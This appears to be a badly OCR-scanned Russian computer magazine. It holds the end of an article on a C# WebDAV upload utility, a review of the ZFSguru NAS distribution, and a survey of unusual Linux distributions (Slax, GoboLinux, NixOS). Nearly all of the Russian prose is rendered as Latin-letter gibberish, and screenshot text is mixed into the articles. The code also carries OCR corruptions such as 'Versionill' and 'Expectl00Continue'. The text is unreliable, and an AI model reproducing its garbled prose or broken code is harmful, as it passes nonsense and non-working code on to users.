request.ReadWriteTimeout = -1;

request.Timeout = -1;
request.AllowWriteStreamBuffering = false;
request.PreAuthenticate = true;
request.SendChunked = false;
request.ContentType = "application/binary";
request.ProtocolVersion = HttpVersion.Versionill;
request.ServicePoint.ConnectionLimit = 1;
request.AllowAutoRedirect = false;

// request.Expect = "100-continue";
request.ServicePoint.Expectl00Continue = true;
request.Accept = "*/*";

B Hawen yTunute Mol peanu3oBanu
BeCb MNJiaHnpyemMbii GyHKLMOHAN —
yeTbipe caMblie HY)KHble KOMaHAbl, 60e3
KOTOPbIX HE MOXeT 000MTUCDH

HU OAVH MeHeaXXep ynpasneHus ¢pan-
JlaMu Ha yaaneHHOM XocTe
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3Ha4yeHNsi HEKOTOPbIX NMapameTpPoB BbiBEAEHbI METOAOM Ha-
Y4YHOro Thbika. HekoTopble CBOMCTBA 3aBUCAT OT APYrux. Tak, nyy-
e OTKJIIOYMTb NOCTOSAHHOE MOAK/oYEHNE (BTOpas CTpoyka), nbo
npu 3TOM FEHEePUPYETCH UCKITIOHYEHNE O HEBO3MOXHOCTU OOHO-
BPEMEHHOr0 4YTeHMs 1 3anucu B notok. Cneayowme aBa CBOM-
CTBa 3a4aloT TaliM-ayT A1 YTeHWUst 1 3anucu B CETEBOW MOTOK.
3HayeHne -1 o3HayaeT 6eckOHe4YHOCTb. Paamep 3arpyxaemoro
danna MoxeT ObiTb HeonpeneneHHo O0nblUMM, MO3TOMY Mbl
He MOXeM 3aragblBaTb Ha BPEMSsi, KOTOPOe NoHa#obuTcsa anst ero
3arpy3ku. Cnepyouiee csoncteo: AllowWriteStreamBuffering —
o4yeHb IIOOOMNBITHOE, OHO BK/OYAET uaM OTkoYaeT Bydepunsa-
LMI0O OaHHbIX nepepn oTnpaeneHveM. [pu BKIOYEeHUM OThpaBs-
nsemMblii dain cHavana 3arpyxaeTcs B MamMsiTb, TOJIbKO Mocne
3TOro BbIrPyxaeTcs Ha cepsep. CTPaHHOCTb 3TOr0 CBOWCTBA
3aKJIlo4aeTCs B TOM, 4TO HAa HEKOTOPbIX XOCTax MOXHO 6e3 npo-
6nem, oTkNo4YnB Bydepursaunio, 3annTb dain, 0gHaKo Ha APYrxX
OyOeT BCMbIBaTb MCKIOYEHME O HEOOX0AMMOCTY Bydepusaumm.
B0O3MOXHO, 3TO CBSI3aHO C KakMMW-TO HACTpoWKamu peecTpa
VAN CBA3W; HE WCKIIIoYHAal0 TakxXe pasnnyms mexay cepBucamu.
B cnyyae ecnu Gydepunsauma BKIOYEHA M Ha cepBep OTMNpaBs-
eTcst 60bLLION (alif, MOXET He XBaTUTb PECYPCOB (MUCK/IIOYEHNE
SystemOutOfMemory). B cBoI0 Npory MoxeLb 06aBnTb hnaxok
ON9 BKIOYEHUS 1 oTKtodeHns 6ydepusaummn. Ecnn 6ydbepusaums
OTK/IOYEHA, Toraa Haao Bko4nTb dnar PreAuthenticate (cnepyto-
Lee CBOMCTBO), C MOMOLLBIO KOTOPOro AaHHble ayTeHTUduKaumm
OTNPaBnsOTCS BMECTE C 3arosioBkom. Cnepyilolmin napameTp
SendChunked (Tonbko ans Avpekc.ucka) No3BonseT 3arpyxartb
Ha yOaneHHbli XOCT dainbl 3apaHee He OnpeaesieHHoro pa3me-
pa, Ha 4To Dropbox oTBeyaeT ncknoyeHmeM. lanee ykasbiBaem
TVN NepefaBaembiX AaHHbIX, BEPCUIO UCMOb3YEMOro NpOTOKONa
(11 o3HavaeTt 1.1), KONMYECTBO BO3MOXHbIX HTTP-noakntoyeHuii:
6onblle OQHOro HU K Yemy. 3anpeLlaeM aBToMaTMyeckoe nepe-
HanpassieHve. YTo6bl 3a4aTb CneayoLee pekoMeHayemMoe none:
«Expect: 100-continue», BK/oyaloLLee oxunaaHve otTeeta ans 3a-
npoca 3arpy3ku, Henb3s WMCMoib30BaTb 3aKOMMEHTMPOBAHHOE
CBOWCTBO, HaZO WMCMoSb30BaTb KO, KOTOPbIA CTPOYKON HUXKE:
request.ServicePoint.Expect100Continue = true;. TMocnegHum
cBonctBoM HTTP-3aronoBka BktOHAeTCs mMacka gas npuHuma-
eMbIx 06BbEKTOB, B HALLeM clyyae npuHumaloTcs nobble darinbl:
C NPON3BOJIbHBIM UMEHEM U PACLLUVPEHNEM.

Mocne TOro kak 3anpoc cpopmMrpoBaH, Haao NMoay4YUTb CeTe-
BO NMOTOK, B KOTOPbIV Mbl OyieM 3annceiBaTb AaHHbIE, OTNPABS-
eMble Ha cepBep. Takxe OTKpblIBaeM SIOKaNbHbI dain Ansg 4TeHus.
Bbigensiem 6aiiToBblii 6ydep Ans BDEMEHHOMO XPaHEHUS CHUTaH-
HbIX U3 paiina AaHHbIX; 3aTEM B LIMKJIE HAYMHAEM YNTaTb U OTNPaB-
NATb, 3anncbiBast AaHHbIEe B NOTOK. Mocne 3Toro 3akpbiBaemM ceTe-
BOI 1 $alinoBbIi NOTOKM, B 06LLEM, Kak 00bI4YHO. [Mony4nB oTBeT
oT cepsepa, npoeepsieM HTTP-cTatyc Ha ero paBeHcTBO dnary
Created 1 cpaBHMBaem pa3mep daiina ¢ KoM4ecTBOM nepenaH-
HbIX 6aliTOB; ecnu 06a YCNoBMS BbINOMHSAIOTCS, 3HAYUT, Nepechblika
yCreLHa, Haye — BO3HUkna npobnema.

UTOIMn
Ha aTom paspaboTka Halwen yTunnTbl noaoLwna K KoHuy. B Hei
Mbl peannu3oBanu BeCb MNaHUPyeMblii QyHKLMOHAN — YeTbl-

pe camble HyXHble KoMaHAabl, 63 KOTOPbIX He MOXeT 060TUCH
HW OOMH MeHenxXep ynpasneHust dainaMmv Ha yaaneHHOM XOCTe.
Mbl He cTanun NPUBA3bLIBATLCS K yCyramMm onpeaeneHHOro XOCTuH-
ra, ucnonbays ero API, Mmbl paspaboTanu yHMBepcanbHoe npuso-
XeHue, obLLaLLEeecs C CepBepoOM Mo CTaHAAPTHOMY MPOTOKOJY
WebDAV. 3T0 no3BoNWAO Hallel nporpaMmme, UCnonb3ys OAuvH
koA, NOAKMOYaTLCS cpady K HECKONbKMM cepBepam (s TeCTUpo-
Ban Ha Yandex.disk n Dropbox). Tem He MeHee, KaK Mbl yBUAE-
N, pasHble CEPBUCHI HECKOMBbKO MO-PasHOMYy UHTEPNPETUPYIOT
1 NoAnep>XnBaloT NPOTOKON.

JanbHeilwee pa3Butve Nporv npegocTtasnsaio Teée, No xoay
CTaTbM § yKa3as Ha BO3MOXHbIE YNy4LLIEHWUs:: 9TO U 3arpyska He-
CcKONbkMx $aiinoB, U co3gaHWe mMepapxuu nanok, 1 pacnapan-
nenvBaHue 3arpysku, U MHoroe apyroe. Ecnu konHyTb rnybxe
B npotokon WebDAV, MOXHO peanu3oBaTb Apyrne KOMaHAbl
ON9 ynpaBfeHnsi KOHTEHTOM Ha cepBepe (ecnu byaellb Aonunu-
BaTb KOA, U3 3TOIN CTaTbW U U3 STOrO BbLINAET YTO-TO AENbHOE, Ha-
nuwv o6 3TOM K Ham B pegakumio. — Mpum. pen,).

Ha aToli HOTe s xo4y noxenaTb Tebe yaaym BO BCex Aenax
1 6bITb NOGONbLUE HA CBEXEM BOo3ayxe :). [Jo BCTpeun Ha cTpa-
Huuax 3!
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CTAHb TYPY ZFS

KPATKI 0B30P INCTPUBYT/BA ZFSGURU

Korpa peyb 3axoanT 06 onepaumoHke ans gewwesoro NAS

Ha OCHOBE CTaHOAPTHOrO KOMMMa, HEBOJIbHO BCMOMMUHAKOTCS
Takue npoekThbl, Kak FreeNAS mnnn Openfiler, 1 camonanbHble
KOHpUrypaumm Ha ocHoBe Linux, FreeBSD v Solaris. Ogra-
KO CYLLLECTBYET aNlbTEPHATNBA, KOTOPas coyeTaeT B cebe
Nydwme 4yepTbl Bcex aTux cmctemM. OHa HocuT nmsa ZFSguru

n npeactasnset cobom yncTyto FreeBSD ¢ npeaycTtaHoBNEH-
HbIMU CpeaCcTBaMM aAMVHUCTPUPOBAHNS XPaHWUIMLLLA Ha OC-
HoBe ZFS v wapwuHra dannos nocpeactsom Samba n NFS.

FSguru (zfsguru.com) nosiBunacb Ha CBET Kak MHTEpP- A
denc agMUHUCTPMpoBaHUA GannoBoro XpaHunuLa ZFSguru kak 6b1 npurna-
Ha ocHoBe ZFS. OpgHako no3xe npeepaTuiach B MNOAHO- LaeT K 3HaKOMCTBY

LIeHHYIO OnepaLMoHHYI0 cucTeMy Ha ocHoBe FreeBSD,
CMOCOBHY!I0 BbINONHATL GYHKUMM He Tonbko NAS, Ho 1 OC gna ca-
MOro pasHoro knacca 3agad. B otnmume ot FreeNAS 1 nofo6HbIx
peweHnii, ZFSguru — 310 cBOEro poaa psixa ¢ NPoKa4YaHHbLIMU
DYHKUMAMN XpaHWaMLLA, KOTOPble Tbl NOny4Yaelb cpasy nocne
YCTaHOBKM.

BoamoxHocTn ZFSguru:
+ nopnepxka npotokonoB CIFS (uepe3 Samba), NFS, SSH,

Rsync, AFP;

*  BO3MOXHOCTb pasdgayn dannos vepes VirtualBox, OwnCloud,
Xbox Media Stream;

*  CMHXPOHM3auus Yepes Rsync;

+ paborta B kadecTse iSCSI Target 1 iSCSlI Initiator; WWW

+ nopAepxka parinosbix cuctem ZFS, UFS n ext2/ext3;

+ pabota cuctembl ¢ USB-aunckos, CD-ROM unu dnewku; OduumnanbHbiii caint

- nopnepxka RAID yposHen 0, 1, 5, JBOD, 5+0, 5+1, 0+1, 1+0 ZFSguru: zfsguru.com
1 RAID-Z n RAID-Z2 (ZFS);

+ paborTa B kayecTBe gomeHa Active Directory; Heckonbko pyccko-

+ ayTeHTUdMKaums nonblosartesel ¢ nomoLlblo Microsoft Active A3blYHbIX JOKYMEHTOB
Directory v LDAP. 10 YCTaHOBKE 1 HACTpOiike

cucteml: zfsguru.ru
Bce 9T0 MOXHO HacTPOUTb C MOMOLLBIO BEG-nHTEpdeiica, oo-
CTYMNHOro U3 Kopobku. MNMocne 3arpyskn cnuctema cama noackaxeT
cBow IP-agpec, nponasa no KOTOPOMY MOXHO 03HAaKOMUTBLCS C A0-
KYMeHTauuen n yctaHoBuTb ZFSguru Ha xecTkuin guck. Mo ymon-
YaHWIO NOAAEPXKNBAETCS YCTaHOBKA TONbKO B GaiNoByl0 CUCTEMY
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Helcome to ZFSguru
Web-interface is runmning at http://10.8.2.15

t5hell Access

Detect IP address

Reset web-interface configuration
Reboot system

Power down system

He OT/IM4aeTCsl OT aHaJIoroB W NOAAEPXMBAET BCE OCHOBHblE
byHkunn ZFS. OpgHako, kpome NAS, cuctema MoXeT UCMOob30-
BaTbCA 1 ANs MobbIX APYrix 3a4ad, B KOTopbIx xopowa FreeBSD.

OTpenbHas Bknagka 34ecb NpeaycMoTpeHa Afs ynpasne-
HUA pa6maroummm cepsucamMm 1 YCTaHOBKU AOMOJIHUTENIbHbIX
naketoB. Cpeamn HUX, Kak HU CTPAHHO, ECTb HE TOJIbKO CEPBUCHI
ans otgaym dannos, HO 1 rpaduyeckne cpenpl, Be6-6pay3epbl
n naxe wvrpobl. Bce 9T0 MOXHO YCTaHOBUTb B OAUH KNUK 4Yepe3
BeG-nHTEpdEnc n 3anycTnTb 4epes coceaHiolo Bknaaky. Cpean
npeaycTaHOBAEHHbIX CEePBUCOB Yyxe ecTb lighttpd (oH ncnons-
3yeTcs Ans co3gaHus Beb-uHTepdeica), nfsd, sshd, Samba
n Sendmail.

Monyuns poctyn no SSH, Tbl Nonagelb B CaMylo OObIHHYIO
FreeBSD c ee peno3utopviem nakeToB v CTaHAAPTHbIM KOMaH[-
HbIM MHTEPdENCOM, C MOMOLLLID KOTOPOr0 MOXHO YCTaHOBUTb
nobble MHTepecyolwme Tebs CepBUCHI U NPUNTOXEHUS. Hukakmnx
OrpaHnyeHnii 30ecb HeT, MO3TOMY CUCTEMY MOXHO WCMONb30-
BaTb AJ19 JIOObIX BO3MOXHbIX 3a4a4, 6yab To Be6-cepBep, No4yTo-
BbIli cepBep nnu cepeep DNS. A BeG-uHTEpPdENC NyCTb OCTaeTCs
0191 yNPaBNeHUst XpaHUINLLEM U MOHUTOPUHTA.

MocnepHsia Bepcua ZFSguru ocHoaHa Ha FreeBSD 10.1 u go-
CTyrHa ToNbko B 64-6uTHOM pepakumn. Kpome LiveCD-penakumm
ancTpubyTrBa, NPUroaHOM 4SS YCTaHOBKWM Ha XeCTKUA AUCK, A0-
CTyrnHa Takxe Bepcusi ¢ rpaduyeckum mnHtepdeinicom GNOME.
O6e Bepcun TpebyloT Kak MUHUMYM 2 [6 onepatuBHOM NamsTn
(uHave cuctema NPoCcTO He CMOXeT pacnakoBaTb 06pa3 RAM-
auvcka npu 3arpyske).

BbiBOAbI

ZFS, noaToMy cuctemMa cpasy npensioxuT caenartb Ha agucke pas- 4 MaBHoe npenmyLecTso ZFSguru B ya06CTBE pa3BepThiBaHNS CU-
meTky GPT nnu MBR v co3gatb nyn. EauHcTBeHHoe TpeboBaHme 9Ty cTpaHuuy ThiHe pas CTeMbl. OTO 1 He onepaunoHHas cuctema gnsa NAS, n He knaccu-
30eCb — MOHMMATb, YTO Takoe pasmeTka v nynbl ZFS, 6e3 yero yBuAMLIb, ecnu Gyaewb yeckasi FreeBSD. 910 cuctema, kotopasi No3BosisieT ObICTPO ycTa-
YCTaHOBWUTb CUCTEMY HE YyOacCTCH. ucnonb3oBatb ZFSguru HOBUTb N HACTPOUTbL CUCTEMY A5 TeX 3ajad, B KoTopbix FreeBSD
B panbHeiwem ¢ NOMOLbIO BCE TOro Xe BeG-uHTepdeica nencTenTenbHO xopowa. Ecnn NFS He rnaBHas pyHKUUS, KOTOPYIO
MOXHO CO3aTb HOBbIE MyJbl, 06bEeANHUTL XeCcTkne aucku B RAID N nonxHa BbinonHaTe OC, TO nepeHacTpouTb ee ANs BbINOAHEHUS
1 npenocTaBuTb AocTyn Yyepe3d Samba, NFS nnu SSH. Bce Ha- Cepsucbl ZFSguru cpasy 4yero-To gpyroro 6yaeT o4eHb NpocTo. HamHoro npotie, 4em ycra-
rMSAAHO, MPOCTO N UHTYUTUBHO MOHSATHO. B 3TOM cmbicne ZFSguru nocne yCTaHOBKUN HOBUTb 1 HACTPOUTL 0ObIYHYIO dpto. 3&
€ - ¢ [[1192.168.1.204/status phy OV RNGrs@OD € > ¢ [ 192.168.1.204/services php?managefsysten O IRNFREO®
4 ZFS cviv version: 020-beta0 | wobsto
FS—————
= _— Smus  Cowra  Auiosat
Powered by ZFSguru version 0.2.0-betad Lighttpd lighttpd RUNNING (- L]
e T s T s © L]
iSCSHarget ctd Harget STOPPED » »
Harduare Mouse ‘moused RUNNING [x] L ]
& Vinualized under VirtualBox!
Nameserver named 'STOPPED »
it e core AMD Ao 1| Do N320 - Runing 1 —— r s .
2GiB physical memory, 19 Gif) usable. NTP daemon ntpd STOPPED » ]
1UsB sticks OpenSSH sshd RUNNING ] [
Gigabit networking Package Filter 'STOPPED »
Sensors Power daemon powerd 'STOPPED » L]
CPUtempertue Samta = e © .
Current CPU usage 0% ‘Sendmail ‘sendmail 'STOPPED »
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OB30P CAMBIX HEOBbIHHbBIX
DYHKLUNN LINUX-ANCTPVBY TBOB

B Mupe Linux Mbl NPUBBLIKAV BUOETb NCKJTIOUYUTESIBHO KJ10-
Hbl. Debian, Ubuntu, Red Hat, SUSE — Bce 370 pa3Hble
ONCTPUOYTUBLI, NPUHLIMMMANBbHBIX OTNINYNIA B KOTOPbIX
HeT. NMonoBmHa NoNynsapHbIX Linux-gucTpnbyTMBOB — 3TO
dopku Debian nnn Ubuntu, apyrne — ¢opku opesHero
Slackware ¢ n3MeHeHHbIM MeHeaXePOM NakeTOB U Kpa-
cuBbIMU KOHOUrypatopamu. OT 6611010 pasHoobpasus
He ocTanochb U cnepa, Ho, MOXeT ObITb, Mbl MPOCTO MJIOXO
mwem?
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®OPK PA3JEJIA «<BBEAEHWE» U3 NMPOLLJION CTATbU
COBpPEMEHHOMY NIMHYKCOUZY HE MOHSATb, HO paHblue BbIOOP AnC-
TpubyTnBa OblN HacTosiLen anoneei. AMcTpnbyTVBbI AEACTBU-
TeNbHO OTIMYANMCh MO MHOMMM NapamMeTpam, a BBUAY OTCYTCTBUSA
BbICOKOCKOPOCTHOIO MHTEPHETA U BUPTYaslbHbIX MALLVH 3TV OT/IN-
4yus Urpanm BecbMa BaxHyto ponb. Slackware npeanaran cksos-
Hyto npocTtoTy, Red Hat oTanyanca npopaboTaHHOCTbIO A0 MeSb-
Yanwmx getanein n BCTPOEHHbIMU KOHdUrypartopamm, Mandrake
Oblfl OCHalleH rpaduyeckM UHCTANIATOPOM, a Meraduyen
Debian 6611 APT, KOTOPbLI NO3BOASA (Thl HE NOBEPULLL!) aBTOMa-
TUYECKM BblKa4MBaTb CODT N3 UHTEPHETA.

Benuuanweli yaadelt 6b110 pas3nobbiTh YETbIPEXAMCKOBbIN
Habop Red Hat, koTopsblit Bkntovan B cebst Bce rpaduyeckme 060-
JIOYKM 1 Ky4dy npuknagHoro codra, HO, eCnn 3TO He yaaBanochb,
Mandrake Ha aByx auckax Obin BNonHe npuroaeH. B Te BpemeHa
ckayaTb 06pas Aucka MOru NULlb eAvHULbI, MO3TOMY MO pykam
rynsinv MHOIOYMCIIEHHblE GONBAHKM C CaMbiMU XOL40BbIMU [MC-
Tpubytneamn. Camo AUCTPUOYTUBOCTPOEHUE OTIMYANOChb OT-
HOCWTENBHOWM MPOCTOTON 1 GbINO NponUTaHo AyxoM just for fun,
6narofapsi KOTOPOMY MOSIBASSINCb MHOMOYUCHEHHblE PpaHKeH-
LUTEWHbI, BKJIIOYasi MO COOCTBEHHbIN, NMOYUBLUWIA rOe-TO Ha OHEe
10-rurabainTHoro amcka Seagate.

Mpownu roabl, Seagate 6o yout Kingston, a auctpubyTn-
Bbl MPEBPATMINCL B OrPOMHbIE CNOXHbIE MaxuHbl, CO34aHHblE
0N BbIKQYMBAHUS JeHer U3 KOMMaHWii, Ye aaMyH BHE3arnHo yro-
BOPWJ1 HA4YaNbCTBO NEPEBECTU cepBepsbl Ha Linux. Ho roe-To cpean
MHOFOYMCNEHHbIX MHCcTannauuii Ubuntu n Linux Mint npogonxatoT
CyLLecTBOBaThb Te camble PpaHKeHLTEVHbI, KOTOPbIE NMPUBHOCST
B MUp Linux 4T0-TO HOBOE, NYCTb 1 B YECTb O4EPELHOrO BbITAMN-
BaHWS AeHer.
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SLAXUMOAYJIbHAA CUCTEMA PACLUMPEHUSA

B cBoe Bpemsi Slax HaCTONbKO MeHs BNeYaTnus, 4To s BCTyNui
B rpynny pa3paboTynkoB, HaMepPeBaBLUNXCS CO34aTb ANCTPUOY-
TVB Ha OCHOBE ero uaen. Mpynna, Bnpoyem, 6bICTPO NpekpaTmuna
CBOE CYLLIECTBOBaHVeE Mo Npu4MHe HepeannudyeMocTu ngeu, a BoT
Slax npofonxaeT CyLLecTBOBaTb 1 34PaBCTBOBATb.

Slax (slax.org) He NpocTo AUCTPUBYTUB, 3TO YUCTOKPOBHbIN
LiveCD, kOTOpbI, KDOME BCEr0 NPOYEro, MOXHO PacLUMPSATb MO-
aynamu. [lenaetcs 9TO C MOMOLUBIO 3/1IEraHTHOrO MexaHu3ma,
KOTOPbI, 1 YBEPEH, NPUMEHSIETCS eLle B Ky4e APYrnx NpoekToB,
HO BMepBbIe AJ1s1 TaKUX Lienieit Gbl1 UCNosib30BaH UMEHHO 34eCh, —
davinoBoii cuctembl Unionfs. CyTb MeTopa B Clenylowem:
He MMes BO3MOXHOCTU M3MEHUTb GainnoByld CUCTEMY OUCTPU-
6yTMBa Ha KOMMAKT-ANCKE C LieSblo YCTAHOBKW AOMOHUTENBHOIO
codrTa, pa3paboTynkm Slax npuaymanm MeTop, NoaKMo4eHUs K Hel
06pa3oB ¢aiinoBoi CUCTEMbI MOBEPX KOPHSI.

Becb pononHutenbHbli codT ans Slax pacnpocTpaHseTcs
B BUAEe Moaynen ¢ pacwvpennem sb. Moaynb npeacraesnaet co-
6011 06pa3 dainosoii cuctembl Squashfs (npoctas AC co cxa-
TMEeM), KOTOPbIA COAEPXMWT MPUSIOXEHUE U BCE HeobxoavMble
emMy dainbl, nexawime no Tem nytam $aninoBoi CUCTEMSI, roe
OHW JONXHbI ObITh B paboTatowleri cucteme (usr/bin/abiword, Ha-
npumep). CTOUT NONOXUTb 3TOT MOAYJb B CreumanbHblil katanor
Ha dpnewuke (/slax/modules) unn Hapesarb Ha AUCK, N cucTemMa aB-
TOMaTU4eCKMN NoAxXBaTUT ero U CMOHTUPYET NoBepx KOpHsi LiveCD
npw 3arpy3ke (Unionfs moHTupyeT dC opyr Ha apyra, kak ciov nu-
pora). B pe3ynbrare B cucteMe NOSIBUTCS NPUIIOXEHUE, KOTOPOro
bur3nyYeckn Tam Her.

KpacoTa aToi ngen He TONbKO B €€ MPUrogHOCTU AN pacLum-
penus LiveCD, HO 1 B aBConoTHOM NpocToTe peanuaaumun. Huka-
KX MEHEOXEePOB NaKeToB, KOHMINKTOB BEPCUIA, OCTAaTKOB MPUI0-
XeHuii B painnioBoli cucteme, abecosnoTHas 3awmTa ot c6oes PC,
BO3MOXHOCTb OTKaTa K unctoii Bepcun OC. B obiem, nepeumc-
NATb MOXHO A0/r0. Ho rnaeHoe, 4T0 NoJly4yaeTcs BCe 3TO C NOMO-
b0 O4EHb MPOCTOr0 MexaHM3Ma, KOTOPbIi MOXHO peann3oBaTb
B HECKOJIbKO CTPOK Ha 513blke KOMaHOHOIO NHTepnpeTaTopa.

EcTb TONbKO 0AHa npo6iemMa: NOCTPOUTb NONHOLEHHBIV ANC-
TpMBYTUB N3 COTEH OBEPJIEHbIX haiNoBbIX CUCTEM OyAET CTOUTb
1 NPOV3BOAUNTENIBHOCTM, U CTABUNBHOCTU.

GOBOLINUX U OTAEJIbHBIE KATAJIOTU NMPUNOXEHUNA
Opyroii HeoObluHbI ans Linux (Ho ctaHaapTHbI B OS X Windows)
noaxop, K yCTaHOBKE CTOPOHHEro codra MCnonb3yeTcs B AUCTPU-
6ytmBe GoboLinux (gobolinux.org). BMecTo npuBbIYHbIX JTO6OMY
IoHMKcounay karanoros /bin, /usr/bin, /usr/share n opyrux, conep-
KaLLMX YCTaHOBJ/IEHHbIE NMPUIOXEHWS B «pa3dmMasaHHOM>» Mo cucTe-
Me Bupe, Gobolinux mncnonb3yeTt Habop katanoros /Programs,
/Users, /System, /Files, /Mount u /Depot.

®dakTnyeckn auctpubytre cnegyet no nytm OS X. Bce cu-
cTeMHble daiinbl HaxoAsTCs B katanore /System, a npunoxenus,
YCTaHOBJIEHHbIE NONb30BaTeneM, — B /Programs, kaxaoe B CBOEM
cobcTBeHHOM 060cob6neHHOM kaTanore (Hanpumep, /Programs/
Firefox). B peaynbrate nosiBnseTcst BO3MOXHOCTb YCTAHOBKM pas-
HbIX BEPCUIA OLHOr0 MPUJIOXEHUS (Kak BapuaHT — 6ubnnoTtekn),
a ansa yoaneHus codra 4OCTaTo4HO GU3MYECKN CTePeTb KaTanor.

OpHako B Tako OpraHn3aumm KatasaoroB eCTb U3bsiH, KOTOPbI
3actaBun paspabotumkoB GoboLinux NPUMEHUTb HECKOJIbKO KO-
cTbineit. Mpo6nema B TOM, 4TO, B OT/IMYME OT NpunoxeHuin ansa OS
X, codT anst UNIX nuweTcs B COOTBETCTBMM CO cTaHAapTom FHS,
KOTOpPbI MpeanonaraeT HannyMe B CUCTEME CTaHAAPTHOrO Ae-
peBa kaTtasnoros, BKlovatoLLero B cebs te camele /bin, /etc, /lib,
/usr n Tak pganee. MNpUNOXeHNs 0XNOAIT YBUAETb 3TY CTPYKTYPY
Ha AMCKE M NPU ee HapyLLIEHUN MOTrYT BECTU cebsi Henpeackasy-
emMo.

Y1o6bl pewmnTb 3Ty Npobnemy, paspaboTtinkmn GoboLinux npu-
MEHWM ABa XaKa: creumnanbHblili Moay/b a4pa Y CUMBONNYECKME
ccbiikn. Mogynb CkpbiBaeT BCe CTaHAapTHbIe Katanoru (/bin, /etc
1 NpoYyre) NPy IMCTUHIEe KOPHEBOIO Katasnora, HO OCTaBfseT BO3-
MOXHOCTb MOSY4UTb K HUM AOCTYM Npv NpsiMoM obpaLleHnn. Tak
yAaeTCs CKPbITb PeasibHyl0 CTPYKTYPY KaTasioros OT MoJsib30BaTe-
ns.

Ccbinkn, B CBOIO o4epenpb, peluatoT npobremMy COBMECTUMO-
cTn. Bce cuctemHble 61BnMoTeKM 1 MPUOXEHWS, XpaHsaLLmecs
B /System, uMeloT cuMBONIMHECKME CCbINKM B katanorax /bin n /lib,
4YTO NO3BOJIIET CUCTEME MPaBUSIbLHO PYHKLMOHMPOBaTL. CoBMe-
CTUMOCTb CTOPOHHUX MPUJIOXEHU obecrneynBaeT MHCTaNATOP,

%

Copepxumoe nakeTta
Slax

N2

PaGouwiicton
GoboLinux

27

/run

/run/requires

/usr

/usr/bin

/usr/bin/abiword

/usr/include

/usr/include/abiword-2.8
/usr/include/abiword-2.8/abiwidget.h
/usr/include/abiword-2.8/1ibabiword. h
/usr/include/abiword-2.8/xap_UnixTableWidget.h
/usr/1ib64

/usr/1ib64/abiword-2.8
/usr/1ib64/abiword-2.8/plugins
/usr/1ib64/abiword-2.8/plugins/opendocument. a
/usr/1ib64/abiword-2.8/plugins/opendocument.la
/usr/1ib64/abiword-2.8/plugins/opendocument. so
/usr/1lib64/1ibabiword-2.8.a
/usr/1ib64/1libabiword-2.8.1a
/usr/1ib64/1libabiword-2.8.s0
/usr/1ib64/pkgconfig
/usr/1ib64/pkgconfig/abiword-2.8.pc

/usr/share

/usr/share/abiword-2.8
/usr/share/abiword-2.8/mime-info
/usr/share/abiword-2.8/mime-info/abiword.keys

KOTOPbI CO30aET HOBbIE CCbUTKWN ANSt KQXA0r0 YCTaHaBMBaeMo-
ro npunoxenus. Tak, npu yctaHoske Firefox nosisutca dann /usr/
bin/firefox, koTopbii Ha camom gene ccbinaetcs Ha /Programs/
Firefox/bin/firefox, a Tak>xe psg, [pyryx CCbUIOK.

[a, 370 TUNUYHbIN NpeacTaBuTeNb cemercTea @paHKeHLwwTeln-
HOB, HO Y HEro ecTb CBOM MOKJIOHHUKM, OCOOEHHO 13 yMcna Tex,
KOMY CTaHOapTHasi opraHusaums dannosoii cuctembl UNIX ka-
XeTCs ycTapeBLUein 1 HeaddeKTUBHON. A 3To, He ByAeM CropuTb,
NENCTBUTENTbHO Tak.

NIXOS, EE KOH®UTYPATOP U MEHEAXEP NAKETOB
[oBOpPS O MEHeOXepax NaKeToB 1 opraHn3auumn $hannoBom cucre-
Mbl, HENb35 He ynomsiHyTb NixOS, efBa M He CaMblil UHTEPECHbIN
N «NPaBUSIbHbIA» C TOYKU 3PEHUS MPUMEHSIEMbIX TEXHOSIOT M Anc-
TpnbyTne. NixOS (Nix0s.0rg) NoCTpoeHa BOKPYr ABYX OCHOBHbIX
naei: neknapaTmeHasi Moaenb KOHPUrypaLuum CUCTEMbI U COBPE-
MEHHbIN MeHeOXep MNakeToB, JIMLEHHbIA NoYTK BCex npobnem,
NpuUBbIYHBLIX dpkg, rPM 1 UM NOA0BHbLIM.

O6e 3TV TEXHONOIMN TECHO CBSI3aHbl Mexay coboli 1, paboTas
BMecTe, peanuayioT BeCbMa MHTEPECHbIV NPUHLMM OpraHn3aumnm
AMCTPUOYTMBA, KOTOPLIN NMO3BONSET onucaTb Nto6oe U3 ero co-
CTOSIHMIA (BKJTIO4Ast BCe KOHDUIypaumoHHble daiinbl 1 Habop ycTa-
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HOBJIEHHbIX NMAKETOB) C MOMOLLbIO OHOIO LIeHTPanbHOro KoHdura.
[ns npumepa npvseny cnemnylownini NpocTon KoHour /etc/nixos/
configuration.nix:

{

# PacnosioxeHve 3arpysyuka
boot.loader.grub.device = "/dev/sda";

# KopHeBoOW pasgen cucTembl
fileSystems."/".device = "/dev/sdal";

# BkAWYMUTb SSH No yMosiYaHUK
services.sshd.enable = true;

# BikouuTb Apache (+ HacTpoiku)
services.httpd.enable = true;
services.httpd.adminAddr = "alice@ex.org";
services.httpd.documentRoot = "/webroot";

10T aiin onucbiBaeT CTaHAAPTHbIE HACTPOMKM MPOCTOro
Be6G-cepeepa ¢ goctynom no SSH. Oa, NixOS peictBUTENLHO
No3BONSIET AepXaTb HACTPOMKM Pa3HbIX CEPBUCOB B OAHOM daii-
e, HO COJib HE B 3TOM, @ B TOM, 4YTO, UMeS AaHHbI KOHDUT, Nerko
KNIOHMPOBaTb BeCb ANCTPUOYTUB. [lOCTaTO4HO CKOMUPOBaTh 3TOT
dann B cBexeycTtaHoBneHHbI ak3emnnsap NixOS u 3anyctutb

%

JioGyio npoLunyio
KoHpurypaumio Nix
MOXHO 3arpy3uThb NPsSiMo
u3 Grub

KOMaHay INFO
$ nixos-rebuild switch Bnepsbie Mogenn

YCTAHOBKM NPUNOXEHUIA
M Byans — yepes HECKONbKO MUHYT Mbl MOSYy4MM AMCTPUOYTUB B 060C06NEHHbIE KaTanoru
C NpegHacTpPOeHHbIMU 1 3anyLeHHbIMU SSH 1 Apache. Ho camoe nosiBUNaCh B UHCTANNSITO-
MHTEPECHOe, 4YTO AaHHAs KOMaHAa He NPOCTO YCTaHaBMBAET, Ha- pe GNU Stow.
CcTpauBaeT 1 3anyckaeT codT, a pakTM4ecku NPpMBOAUT AUCTPUOY-
TVB K ONMCAHHOMY COCTOSIHMIO. OTO 3HAYMUT, 4TO MNOCSE BbINOHE-
HUSI KOMaHApbl B CUCTEME OENCTBUTENIbHO OCTaHYTCSl TONbkO SSH
1 NpefHacTpoeHHbIn Apache 1 HUYero, KpomMe nx 3aBMCUMOCTEN
1 KOHOUIOB (MO CyTWU, aHaNor YCTaHOBKM C HyNS).

